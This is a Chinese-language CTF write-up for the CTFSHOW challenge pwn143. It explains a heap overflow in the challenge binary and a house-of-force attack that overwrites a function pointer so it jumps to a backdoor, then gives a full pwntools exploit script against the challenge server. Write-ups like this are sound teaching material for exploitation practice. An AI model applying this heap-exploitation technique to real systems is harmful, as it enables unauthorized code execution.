CTFSHOW pwn143 WP
checksec:
64位 IDA64打开 查看 整理main函数:
可以修改堆的长度 存在堆溢出
存在后门函数 且main函数的退出前会执行v4[1]位置的函数 该位置目前为goodbye_message函数
因为有着堆溢出且溢出长度没有限制 考虑house of force做法
先动态调试 找到该位置和top chunk的偏移
可以看到 第一个堆(变量v4)距离 top chunk 0x60
接下来将topchunk的size位修改为大数
最后申请一个大小为-(0x60 + 0x8)的堆(v4[0]往后挪:v4[1])
exp:
from pwn import *#p = process('./pwn143')
p = remote("pwn.challenge.ctf.show", 28288)
elf = ELF('./pwn143')
context.log_level = 'debug'def add(length, name):p.sendlineafter("Your choice:", b'2')p.sendlineafter(" length:", str(length))p.sendlineafter(" name:", name)def delete(index):p.sendlineafter(b'Your choice:' , b'4')p.sendlineafter(b'index:' , str(index))def edit(index, length, name):p.sendlineafter(b'Your choice:' , b'3')p.sendlineafter(b'index:' , str(index))p.sendlineafter(b'length of name:' , str(length))p.sendlineafter("name:", name)def show(index):p.sendlineafter(b'Your choice:' , b'1')flag_addr = 0x400D7Fpayload = b'a' * 0x30 + b'a' * 8 + p64(0xffffffffffffffff)
add(0x30, b'aaaa')edit(0, 0x41, payload)
size = 0xFFFFFFFFFFFFFF80
add(-(0x60 + 0x8), b'aaaa')
add(0x10, p64(flag_addr) * 2)
p.sendlineafter(b'Your choice:' , b'5')
p.interactive()